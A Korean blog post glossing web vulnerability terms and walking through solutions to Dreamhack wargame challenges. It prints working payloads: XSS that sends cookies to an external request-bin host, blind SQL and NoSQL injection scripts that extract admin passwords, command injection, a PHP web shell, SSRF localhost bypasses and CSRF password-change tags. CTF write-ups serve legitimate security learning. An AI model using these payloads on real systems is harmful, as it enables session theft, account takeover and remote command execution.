1. 용어 설명 :
1) 쿠키(Cookie) :
- Key와 Value로 이뤄진 일종의 단위로, 서버가 클라이언트에게 쿠키를 발급하면, 클라이언트는 서버에 요청을 보낼 때마다 쿠키를 같이 전송한다.
- 서버는 클라이언트의 요청에 포함된 쿠키를 확인해 클라이언트를 구분할 수 있다.
2) 세션(Session) :
- 쿠키에 인증 상태를 저장하지만 클라이언트가 인증 정보를 변조할 수 없게 하기 위해 세션(Session)을 사용한다.
- 세션은 인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(유추할 수 없는 랜덤한 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동한다.
- 해당 키를 일반적으로 Session ID라고 한다.
- 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용한다.
- 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인한다.
3) XSS(Cross Site Scripting) :
- 클라이언트 사이드 취약점, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 취약점이다.
ㄴ Stored XSS: 악성 스크립트가 서버 내에 존재, 이용자가 저장된 악성 스크립트를 조회할 때 발생
ㄴ Reflected XSS: 악성 스크립트가 이용자 요청 내에 존재, 이용자가 악성 스크립트가 포함된 요청을 보낸 후 응답을 출력할 때 발생
4) Cross Site Request Forgery(CSRF) :
- CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점이다.
- 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격이다.
5) SQL Injection :
- SQL Injection : SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점이다.
- Blind SQL Injection : 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL injection 공격 기법이다.
6) Non-Relational DBMS :
- 비관계형 데이터베이스(NoSQL) : SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 RDBMS와의 차이점이다.
- 컬렉션(Collection): 데이터베이스의 하위에 속하는 개념이다.
- MongoDB는 연산자(https://docs.mongodb.com/manual/reference/operator/query/)를 통해 검색을 할 수 있다.
(ex : http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a)
7) ServerSide: Command Injection :
- 인젝션(Injection) : 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법이다.
- 웹 애플리케이션을 대상으로 하는 인젝션 공격은 SQL Injection, command injection등이 있다.
- 커맨드 인젝션(Command Injection) : 인젝션의 종류 중 하나. 시스템 명령어에 대한 인젝션을 의미한다.
ㄴ 취약점이 발생하는 원인은 단순하지만, 매우 치명적인 공격으로 이어질 수 있다.
ㄴ 개발자는 이용자의 입력을 반드시 검사해야 하며, 되도록 system 관련 함수의 사용을 자제해야 한다.
- 메타 문자(Meta Character) : 특수한 의미를 가진 문자. 예를 들어, 셸 프로그램에서 ;를 사용하면 여러 개의 명령어를 순서대로 실행시킬 수 있다.
8) ServerSide: File Vulnerability :
- 파일 취약점 (File Vulnerability) : 파일을 업로드하거나 다운로드 할 때 발생하는 취약점 업로드와 다운로드 과정에서 발생하는 취약점으로 구분됨.
- 업로드 취약점(Upload Vulnerability) : 파일 업로드 기능에서 발생하는 취약점으로 CGI로 실행되는 파일을 업로드 해 시스템에 임의 명령어를 실행하거나, HTML로 해석되는 파일을 업로드하여 Cross-Site-Scripting(XSS) 공격을 수행할 수 있음. Path Traversal 취약점과 연계하여 업로드 폴더를 벗어난 곳에 공격자의 파일을 저장하는 공격도 있음.
- 다운로드 취약점(Download Vulnerability) : 다운로드 기능에서 발생하는 취약점으로 Path Traversal 취약점과 함께 사용됨. 서버 파일 시스템에 존재하는 임의 파일을 다운로드하여 민감 정보가 포함된 파일, 예를 들어 데이터베이스 백업본, 외부 API 서버의 비밀키 등이 포함된 설정 파일등을 탈취할 수 있음.
9) ServerSide: SSRF :
- SSRF(Server-side Request Forgery) : 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다.
- 마이크로서비스 : 소프트웨어가 잘 정의된 API를 통해 통신하는 소규모의 독립적인 서비스로 구성되어 있는 경우의 소프트웨어 개발을 위한 아키텍처 및 조직적 접근 방식
- 구분 문자(Delimiter) : 일반 텍스트 또는 데이터 스트림에서 별도의 독립적 영역 사이의 경계를 지정하는 데 사용하는 하나의 문자 혹은 문자들의 배열. URL 에서 구분 문자는 "/"(Path identifier), "?"(Query identifier) 등 이 있으며 구분 문자에 따라 URL의 해석이 달라질 수 있음.
10) Content Security Policy(CSP) :
- Content Security Policy (CSP, 컨텐츠 보안 정책) : XSS나 데이터를 삽입하는 류의 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 보안 계층이다.
11) Cross-Site Request Forgery(CSRF) :
- 웹 애플리케이션 취약점 중 하나로 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 해서 특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만드는 공격 방법이다.
- CSRF Token : 같은 오리진에서만 접근 가능한 형태로 저장해두고, HTTP 요청을 전송할 때 함께 전송되는 Token
1) cookie : https://dreamhack.io/wargame/challenges/6
- 서버에 들어가서 개발자 도구로 코드를 보거나 app.py를 보면 기본 ID/PW는 guest/guest 임을 알 수 있다.
- app.py를 보면, username이 admin이면 FLAG 값을 표시한다는 사실을 알 수 있다.
- 또한, cookie 중 username 값을 이용하여 현재 사용자를 판단한다는 것을 알 수 있다.
▶ guest/guest로 로그인 후, cookie의 username 값을 조작한 후 새로고침.
2) session-basic : https://dreamhack.io/wargame/challenges/409
- 서버에 들어가서 개발자 도구로 코드를 보면 기본 ID/PW는 guest/guest 임을 알 수 있다.
- app.py에서는 또 다른 ID/PW로 guest/user1234가 있음을 알 수 있다.
- app.py를 보면, username이 admin이면 FLAG 값을 표시한다는 사실을 알 수 있다.
- 또한, 이번에는 로그인 시 생성하여 cookie에 저장하는 sessionid를 통해 현재 사용자를 판단한다는 것을 알 수 있다.
- 그런데... /admin으로 접속하면 세션 스토리지 값을 볼 수 있게 되어 있다...
▶ guest/guest로 로그인 후, cookie의 sessionid 값을 /admin에 접속하여 알아낸 admin의 sessionid로 조작한 후 새로고침.
3) xss-1 : https://dreamhack.io/wargame/challenges/28
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- /vuln : 이용자가 전달한 param 파라미터의 값을 출력한다.
- /memo : 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다.
- /flag :
ㄴ GET : 이용자에게 URL을 입력받는 페이지를 제공한다.
ㄴ POST : params 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다. check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속한다.
2) 취약점
- Flask의 render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.
- 하지만, vuln은 이용자가 입력한 값을 페이지에 그대로 출력하므로 XSS가 발생한다.
▶ Exploit
(1) 문제에서 제공하는 memo 엔드포인트 사용
- flag 엔드포인트에서 <script>location.href = "/memo?memo=" + document.cookie;</script> 입력
(2) 외부에서 접근 가능한 웹 서버 사용 : 드림핵 툴즈 서비스의 Request Bin을 활용하면 좋다.
- flag 엔드포인트에서 <script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script> 입력
4) xss-2 : https://dreamhack.io/wargame/challenges/268
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- /vuln : 3)번 문제와 비교하였을 때, 사용자가 입력한 param을 바로 return 하지 않고 render_template 함수를 사용한다.
Flask의 render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.
- 대신, vuln.html의 innerHTML은 요소의 내부 HTML을 문자열로 읽거나 설정할 수 있으므로, 이 부분을 이용한다.
2) 취약점
- vuln.html : <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
- vuln.html에 존재하는 위 코드는, innerHTML을 통해 사용자가 URL의 param 쿼리 파라미터를 조작하여 웹 페이지의 내용을 변경할 수 있게 한다.
▶ Exploit
- 임의의 태그와 핸들러 함수를 등록하여 FLAG 탈취
(1) 문제에서 제공하는 memo 엔드포인트 사용
- flag 엔드포인트에서 <img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie"> 입력
(2) 외부에서 접근 가능한 웹 서버 사용 : 드림핵 툴즈 서비스의 Request Bin을 활용하면 좋다.
- flag 엔드포인트에서 <img src="XSS-2" onerror="location.href='http://RANDOMHOST.request.dreamhack.games/?memo= '+document.cookie"> 입력
5) csrf-1 : https://dreamhack.io/wargame/challenges/26
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- /vuln : 이용자가 전달한 param 파라미터의 값을 출력하며, 이용자의 파라미터에 "frame", "script", "on" 키워드가 포함되어 있으면 이를 "*" 문자로 치환한다.
- memo : 이용자가 전달한 memo 파라미터 값을 기록하고, render_template 함수를 통해 출력한다.
- /admin/notice_flag :
ㄴ 로컬호스트 (127.0.0.1)에서 접근하고, userid 파라미터가 admin일 경우 메모에 FLAG를 작성하고, 조건을 만족하지 못하면 접근 제한 메시지가 출력된다.
ㄴ /admin/notice_flag 페이지 자체는 모두가 접근할 수 있고, userid 파라미터에 admin 값을 넣는 것도 가능하다.
ㄴ 하지만 일반 유저가 해당 페이지에 접근할 때의 IP주소는 조작할 수 없다.
ㄴ 따라서 일반 유저의 IP가 자신의 컴퓨터를 의미하는 로컬호스트 IP가 되는 것은 불가능하기 때문에, 이 페이지에 단순히 접근하는 것 만으로는 플래그를 획득할 수 없다.
- flag :
ㄴ GET : 이용자에게 URL을 입력받는 페이지를 제공한다.
ㄴ POST : param 파라미터 값을 가져와 check_csrf 함수의 인자로 넣고 호출한다. check_csrf 함수는 인자를 다시 CSRF 취약점이 발생하는 URL의 파라미터로 설정하고, read_url 함수를 이용해 방문한다. 이 때 방문하는 URL은 서버가 동작하고 있는 로컬 호스트의 이용자가 방문하는 시나리오이기 때문에 127.0.0.1 의 호스트로 접속하게 된다. read_url 함수는 셀레늄을 이용해 URL을 방문한다.
2) 취약점
- /vuln에서 frame/script/on 키워드를 필터링하기 때문에 xss 공격은 불가능하다.
- 하지만 필터링 키워드 이외의 꺽쇠(<, >)를 포함한 다른 키워드와 태그는 사용 가능하다.
- 플래그를 얻기 위해서는 /admin/notice_flag 페이지를 로컬 호스트에서 접근해야 한다.
- /flag 페이지로 요청하는 경우, check_csrf 함수를 통해 127.0.0.1(로컬 호스트)로 요청하므로 이 페이지를 이용해야 한다.
※ XSS, CSRF 공격이 통하는지 테스트하는 방법
- 드림핵에서 제공하는 Request Bin에서 임의의 주소를 생성한 후 해당 주소에 접속하는 공격 코드를 작성한다.
▶ Exploit
- 임의의 태그에서 페이지에 접근하는 요청을 넣음, 중간에 id 검증 과정이 있으므로 id도 넣어야 한다.
(1) 문제에서 제공하는 memo 엔드포인트 사용
- flag 엔드포인트에서 <img src="/admin/notice_flag?userid=admin" /> 입력
6) csrf-2 : https://dreamhack.io/wargame/challenges/269
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- /vuln : 이용자가 전달한 param 파라미터의 값을 출력하며, 이용자의 파라미터에 "frame", "script", "on" 키워드가 포함되어 있으면 이를 "*" 문자로 치환한다.
- /login :
ㄴ GET : 이용자에게 username와 password를 입력받는 페이지를 제공한다.
ㄴ POST : username과 password 파라미터 값을 가져와 pw와 비교한다. 로그인이 성공한 경우, 사용자를 "index" 페이지로 리디렉션하도록 새로운 응답 객체(resp)를 만든다. 나중에 사용자를 식별하는데 사용할 session_id를 생성하고 생성한 session_id로 session_storage에 사용자의 이름을 저장한다. 세션을 설정하고 리다이렉션된 응답을 반환하여 사용자를 "index" 페이지로 리다이렉션한다.
- /flag :
ㄴ GET : 이용자에게 URL을 입력받는 페이지를 제공한다.
ㄴ POST : param 파라미터 값을 가져온 뒤, session_id를 생성하고, 생성한 session_id를 키로 사용하여 admin 값을 session_storage 딕셔너리에 저장한다. 그 후 check_csrf 함수를 통해 session_id가 유효한지 확인하고 적절한 경고 메시지를 반환한다.
- /change_password :
ㄴ GET 요청을 통해 pw 매개변수의 값을 가져와 pw변수에 저장한다. 또한 브라우저 쿠키에서 "session_id"값을 가져와 session_id 변수에 저장한다. session_id를 사용하여 로그인한 사용자를 확인한다. session_id가 세션 저장소에 있지 않으면 "please login" 메시지와 함께 "index.html" 템플릿을 렌더링하여 보여 준다. users[usename]=pw 세션을 통해 확인된 사용자의 비밀번호를 새로운 비밀번호 pw로 변경한다.
2) 취약점
- /vuln에서 frame/script/on 키워드를 필터링하기 때문에 xss 공격은 불가능하다.
- 하지만 필터링 키워드 이외의 꺽쇠(<, >)를 포함한 다른 키워드와 태그는 사용 가능하므로, CSRF 공격을 수행할 수 있다.
- /flag 페이지에서 admin의 session_id가 저장되므로 여기서 /change_password 요청을 하면 admin의 비밀번호를 변경할 수 있다.
※ XSS, CSRF 공격이 통하는지 테스트하는 방법
- 드림핵에서 제공하는 Request Bin에서 임의의 주소를 생성한 후 해당 주소에 접속하는 공격 코드를 작성한다.
▶ Exploit
- /flag 페이지에서 이용자가 /change_password를 통해 admin의 pw값을 바꾸어야 하기 때문에 아래와 같이 공격 코드를 작성해야 한다. 이후 수정한 비밀번호로 admin에 로그인한다.
ㄴ <img src="/change_password?pw=admin">
7) simple_sqli : https://dreamhack.io/wargame/challenges/24
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- admin으로 접속하면 FLAG를 얻을 수 있다.
2) 취약점
- /login에서 id/password를 입력받아 쿼리를 실행하여 해당 결과가 true이면 접속되도록 되어 있는데, 입력 값을 아예 검증하지 않으므로 SQL Injection 공격이 가능하다.
▶ Exploit
- /login 페이지에서 userid에 "admin"을 넣고 select * from users where userid="{userid}" and userpassword="{userpassword}" 쿼리의 값을 True로 만들면 된다. => admin" or "1
- 또한, password 영역을 채우지 않고 Login을 시도하면 password 영역을 채우라는 안내가 나오는데, 이는 개발자 도구에서 password input 태그의 "required" 속성을 삭제하면 우회 가능하다.
※ 해당 문제는 SQL Injection 뿐만 아니라 Blind SQL Injection으로도 풀 수 있다.
ㄴ 이진 탐색으로 비밀번호 길이를 알아낸 후, 그 길이에 맞춰 한 글자씩 비밀번호를 알아 낸다.
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
8) Mango : https://dreamhack.io/wargame/challenges/90
1) main.js를 보면, 다음과 같은 사실을 알 수 있다.
- 엔드 포인트: /login
ㄴ 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.
ㄴ /login의 GET 핸들러를 살펴보면, 이용자의 요청에 포함된 쿼리를 filter함수로 필터링한다.
ㄴ 해당 함수는 admin, dh, admi라는 문자열이 있을 때 true를 반환한다.
2) 취약점
- 이용자가 전달한 쿼리의 값과 타입에 string외에 다양한 형태의 object도 쿼리로 전달될 수 있음을 알 수 있다.
- 또한, MongoDB 요청 전 별도로 쿼리 검증을 하지 않는다.
▶ Exploit
- /login에서는 로그인에 성공했을 때 이용자의 uid만 출력하므로, Blind NoSQL Injection을 통해 admin의 upw를 획득해야 한다.
- 문제에서 비밀번호 길이가 32자라고 했기 때문에 32번 돌리지만, 이게 아니라면 '}'가 나올 때까지 돌리거나 아니면 ALPHANUMERIC 안에 있는 문자를 전부 돌려봐도 로그인이 되지 않는 시점에서 끊는 방법이 있을 것 같다.
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
9) command-injection-1 : https://dreamhack.io/wargame/challenges/44
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- 엔드 포인트: /ping
ㄴ 이용자가 보낸 호스트 주소에 ping을 날려 준다.
2) 취약점
- 사용자의 입력을 검증하지 않고 그대로 사용하므로, Command Injection이 가능하다.
▶ Exploit
- input 태그에 있는 pattern 조건은 개발자 도구에서 삭제
- ping 페이지에서 1.1.1.1";ls -al . # 입력하여 현재 경로의 파일 확인 => flag.py 확인
- 1.1.1.1";cat flag.py # 입력하여 FLAG 내용 확인
10) image-storage : https://dreamhack.io/wargame/challenges/38
1) upload.php는 이용자가 업로드한 파일을 uploads폴더에 복사한다.
이 과정에서 업로드할 파일에 대해 어떠한 검증도 하지 않으므로, 웹 셸 업로드 공격을 할 수 있다.
▶ Exploit
- <?php system($_GET['x']); ?> 를 .php 파일로 만들어 업로드한 후 파라미터를 주고 접속하면 웹 셸을 통해 명령을 내릴 수 있다.
11) file-download-1 : https://dreamhack.io/wargame/challenges/37
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- 엔드 포인트: /upload
ㄴ 파일 업로드를 처리하며 업로드된 파일을 서버에 저장한다.
ㄴ 이 때, 업로드된 파일 이름에 ".."가 포함되어 있는지 검사하여 상위 디렉터리로 이동하는 시도를 방지한다.
- 엔드 포인트: /read
ㄴ 사용자가 요청한 파일을 열어서 그 내용을 읽고, 이를 웹 페이지에 표시한다.
ㄴ 웹 페이지에 파일 내용을 표시할 때, upload 페이지 코드에서 ".."를 필터링 한 것과는 다르게 다운로드 되는 파일에 대해 어떠한 검사도 하지 않으므로 파일 다운로드 공격에 취약하다.
2) 취약점
- /read 엔드 포인트는 다운로드 되는 파일에 대해 어떠한 검사도 하지 않으므로 파일 다운로드 공격에 취약하다.
▶ Exploit
- /upload에서 임의의 메모를 업로드한 후, 해당 메모 읽기 화면(/read)에 접속하여 filename 파라미터를 수정해 상위 디렉토리의 flag.py를 읽게 하여 FLAG를 얻을 수 있다.
12) web-ssrf : https://dreamhack.io/wargame/challenges/75
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- 엔드 포인트: /img_viewer
ㄴ GET : img_viewer.html을 렌더링한다.
ㄴ POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링한다.
- run_local_server
ㄴ 파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다.
ㄴ http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.
ㄴ 호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가능하다.
2) 취약점
- /img_viewer에서는 127.0.0.1, localhost가 포함된 URL로의 접근을 막게 되어 있다.
- 하지만 이는 다음과 같은 방법으로 우회할 수 있다.
- 내부 HTTP 서버의 포트는 직접 찾아야 한다.
http://vcap.me:8000/ # (1) "*.vcap.me"는 127.0.0.1에 매핑되어 있다.
http://0x7f.0x00.0x00.0x01:8000/ # (2) 각 자릿수를 16진수로 변환.
http://0x7f000001:8000/ # (3) (2)에서 .을 제거한 버전
http://2130706433:8000/ # (4) (3)을 10진수로 변환.
http://Localhost:8000/ # (5) localhost의 일부 글자를 대문자로 변환.
http://127.0.0.255:8000/ # (6) 루프백(loop-back) 주소, 127.0.0.1 - 127.0.0.255
▶ Exploit
- 내부 HTTP 서버의 랜덤 포트를 찾아낸 후, Localhost:(포트)/flag.txt를 img_viewer에 입력하여 FLAG를 얻을 수 있다.
- 아래 코드의 "iVBORw0KG"는 base64로 "PNG"를 인코딩한 결과이다. 결과물이 없는 경우 "Not Found X" png 이미지를 출력하는데, 이를 이용한 것이다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
13) CSP Bypass : https://dreamhack.io/wargame/challenges/435
1) app.py를 보면, 다음과 같은 사실을 알 수 있다.
- 엔드 포인트: /vuln
ㄴ 이용자가 전달한 param 파라미터의 값을 출력한다.
- 엔드 포인트: /memo
ㄴ 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다.
- 엔드 포인트: /flag
ㄴ GET : 이용자에게 URL을 입력받는 페이지를 제공한다.
ㄴ POST : param 파라미터에 값과 쿠키에 FLAG 를 포함해 check_xss 함수를 호출한다. check_xss 는 read_url 함수를 호출해 vuln 엔드포인트에 접속한다.
- add_header 함수
ㄴ CSP 정책 중 script와 관련된 정책을 살펴보면 nonce 속성을 필요로 하며, 같은 출처 내의 파일만을 script의 src로 올 수 있도록 출처를 self 로 제한하고 있다.
ㄴ 공격자는 nonce 값을 알 수 없기 때문에 XSS 취약점이 존재해도 일반적인 방법으로는 공격을 수행할 수 없다.
2) 취약점
- memo 는 render_template 함수를 사용해 memo.html 을 출력하는데, render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS 취약점이 발생하지 않는다.
- 그러나 vuln 은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS 취약점이 발생할 수 있다.
- CSP 정책이 적용되어 있어 곧바로 스크립트를 실행하는 것은 불가능하다.
- CSP 정책에서 허용하고 있는 출처는 self 이다. nonce를 예측하는 것은 불가능하기 때문에 같은 출처 내에서 파일을 업로드하거나 원하는 내용을 반환하는 페이지가 존재한다면 이를 공격에 이용할 수 있다.
- vuln 페이지는 우리가 입력한 파라미터를 그대로 출력해주기 때문에 이를 이용해 CSP를 우회할 수 있다.
▶ Exploit
- /vuln 페이지에서 self 출처를 위반하지 않은 채로 원하는 스크립트 로드
(1) 문제에서 제공하는 memo 엔드포인트 사용
- flag 엔드포인트에서 <script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script> 입력
- 중간에 + 대신에 %2b 를 쓴 이유는 스크립트 부분은 두 단계를 거쳐 파라미터로 해석되기 때문에 URL Decoding되어 공백으로 해석되지 않도록 하기 위해서이다.
(2) 외부에서 접근 가능한 웹 서버 사용 : 드림핵 툴즈 서비스의 Request Bin을 활용하면 좋다.
- flag 엔드포인트에서 <script src="/vuln?param=document.location='http://RANDOMHOST.request.dreamhack.games/?memo='%2bdocument.cookie;"></script> 입력
14) CSP Bypass Advanced : https://dreamhack.io/wargame/challenges/436
1)
- 위 CSP Bypass 문제와 비교해 보았을 때, /vuln 페이지에서 값을 그대로 전달하지 않고 render_template 함수를 이용하여 전달한다.
- 또한, CSP 정책에 object-src 'none' 가 추가되었다.
- base-uri 'none' 정책이 없으므로 base 태그를 이용할 수 있다.
- base 태그 : https://developer.mozilla.org/ko/docs/Web/HTML/Element/base
=> base 태그로 경로를 명시해 줄 경우, 아래부터 나오는 문서 안의 모든 상대 URL이 base 태그에서 명시한 경로를 기준 경로로 삼는다.
2) 취약점
- 문제 페이지의 DOM 구조를 보면, 하위에 script 태그로 스크립트를 불러오는 모습을 볼 수 있다. 만약 이 위에 base 태그로 기준 경로를 명시한 다음 해당 경로에서 script 파일을 가져오게 할 수 있다면, 원하는 동작을 수행하게 할 수 있다.
▶ Exploit
- 개인 서버의 /static/js/ 경로에 jquery.min.js를 만들고 <base href="(개인 서버 주소)">의 방식으로 flag 페이지에서 입력하여 base를 자신의 개인 서버로 돌리면 된다.
- 다음과 같이 Flask/selenium을 이용해 해 보려고 했으나 아직은 잘 안 됐다...
=> 이건 아마 Flask 서버를 연 환경이 공유기 환경이라 그런 것 같다. 만약 포트 포워딩을 통해 외부에서 이 Flask 서버에 접속할 수 있게 하면 될 것이라고 생각한다.
- 이외에 github.io 호스팅, goorm ide, repl.it 등 간단하게 서버를 구성할 수 있는 환경이면 된다.
- 참조 :
https://lonelynova.tistory.com/253
https://stackoverflow.com/questions/24578330/flask-how-to-serve-static-html
https://predic.tistory.com/m/181
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from flask import Flask, render_template, request, current_app
chrome_options = Options()
chrome_options.add_experimental_option("detach", True)
app = Flask(__name__, static_url_path='/static')
@app.route("/")
def index():
return render_template("/index.html")
@app.route("/test")
def test():
return render_template("/test.html")
@app.route("/static/js/jquery.min.js")
def jquery():
return current_app.send_static_file("js/jquery.min.js")
app.run(host="0.0.0.0", port=7000)
#driver = webdriver.Chrome(options=chrome_options)
#driver.get("https://www.naver.com")
15) CSRF Advanced : https://dreamhack.io/wargame/challenges/442
1) 엔드포인트 분석
- /login : GET 요청을 받았을 때는 로그인 페이지를 렌더링 / POST 요청을 받았을 때는 로그인 과정을 수행
ㄴ 로그인하는 과정에서 이용자 별로 랜덤한 세션과 CSRF Token 값을 함께 생성한다.
ㄴ 여기서 CSRF Token는 username과 이용자의 IP 주소를 이어붙인 후 md5 해시를 구하여 생성한다. 이러한 방식으로 Token을 생성할 경우, 완전히 랜덤한 값으로 생성하지 않아 다른 유저의 CSRF Token을 유추할 수 있다.
- /change_password :
ㄴ GET 파라미터로 새로운 패스워드와 CSRF Token을 함께 전달받으며, 전달된 CSRF Token이 웹 서비스 내부에 저장된 현재 이용자의 Token과 같다면 비밀번호를 변경한다.
- /vuln :
ㄴ 코드를 살펴보면, 이용자가 전달한 param 파라미터의 값을 출력한다.
ㄴ 이 때, 이용자의 파라미터에 frame , script , on 세 가지의 악성 키워드가 포함되어 있으면 이를 '*' 문자로 치환한다.
- /flag :
ㄴ GET 요청을 받았을 때는 이용자에게 URL을 입력받는 페이지를 제공한다.
ㄴ POST 요청을 받았을 때는 param 파라미터 값을 가져와 check_csrf 함수의 인자로 넣고 호출한다. check_csrf 함수는 인자를 다시 CSRF 취약점이 발생하는 URL의 파라미터로 설정하고, read_url 함수를 이용해 방문한다. 이 때 방문하는 URL은 서버가 동작하고 있는 로컬호스트의 이용자가 방문하는 시나리오이기 때문에 127.0.0.1 의 호스트로 접속하게 된다. read_url 함수는 셀레늄을 이용해 URL을 방문하고, admin 계정으로 로그인한 후, 전달된 URL에 방문한다.
2) 취약점
- /vuln 페이지에서는 이용자의 입력 값을 페이지에 출력하며, 입력 값에는 frame/script/on 키워드를 필터링하기 때문에 XSS 공격은 불가능하다.
- 하지만, 필터링 키워드 이외의 꺽쇠(<, >)를 포함한 다른 키워드와 태그는 사용 가능하기 때문에 CSRF 공격을 수행할 수 있다.
- CSRF Token을 이용해 CSRF 공격을 방어하고 있기 때문에 Token 없이 CSRF 공격을 수행하게 되면 실패하게 된다.
- CSRF Token이 완전히 랜덤하게 생성되는 것이 아니기 때문에 admin의 CSRF Token 값을 예측할 수 있다.
(이용자 아이디는 admin, IP 주소는 admin이 로컬 호스트에서 접속한다는 사실을 알고 있기 때문에 127.0.0.1이다. 이것을 이용하여 CSRF Token을 구할 수 있다.)
▶ Exploit
- /vuln 페이지를 방문하는 로컬 호스트 이용자가 /change_password 페이지로 요청을 전송하도록 해야 한다.
- 로컬 호스트 환경의 이용자가 임의 페이지를 방문하게 하려면 /flag 페이지를 이용해야 한다.
- 드림핵 툴즈 서비스를 이용하여 XSS, CSRF 공격을 테스트해 볼 수 있다.
- flag 페이지 진입 후, 다음과 같이 CSRF 공격을 시도한다.
<img src="/change_password?pw=dreamhack&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">
'프로그래밍 > 해킹' 카테고리의 다른 글
리버싱 퀴즈 모음 (0) | 2024.08.31 |
---|---|
